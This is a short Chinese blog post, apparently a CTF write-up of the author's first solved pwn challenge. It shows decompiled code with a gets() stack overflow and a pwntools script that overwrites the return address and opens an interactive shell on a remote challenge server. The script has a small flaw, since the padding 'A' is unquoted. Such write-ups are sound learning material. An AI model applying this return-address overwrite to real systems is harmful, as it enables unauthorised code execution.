1. 程式人生 > >第一解出的pwn題

第一解出的pwn題

分享 成功 地址 inf style 。。 溢出 mem color

雖然題目不難,但是 是我第一次做出的pwn題,得寫下。

__int64 sub_4007E6()
{
  char s1; // [sp+0h] [bp-30h]@1

  memset(&s1, 0, 0x30uLL);
  puts("Input your Name:");
  gets(&s1);
  if ( strcmp(&s1, "root") )
    ::s1 = strdup(&s1);
  return 0LL;
}

這裏有溢出點。s1。

然後就很明確了。就差溢出的地址和覆蓋多少了。

然後看了好久,看不出來。果斷就調試,然後就直接出來了。技術分享圖片

剩下就直接上代碼了,過程有點想哭。。。還好有師傅給指點了下。

將p.sendline("whoami")
改成了p.interactive()
from pwn import *
re_add=0x0000000000400896
for i in range(10000):
    #p=process("./whoami")
    p=remote("101.71.29.5",10013)
    payload=A*56+p64(re_add)
    p.recvuntil(">")
    p.sendline("1")
    p.recvuntil("Input your Name:\n")
    p.sendline(payload)
    p.interactive()
    p.close()

起初想爆破的。但沒成功。。。所以就。。。

代碼有點難看。。下次練下 寫好點

第一解出的pwn題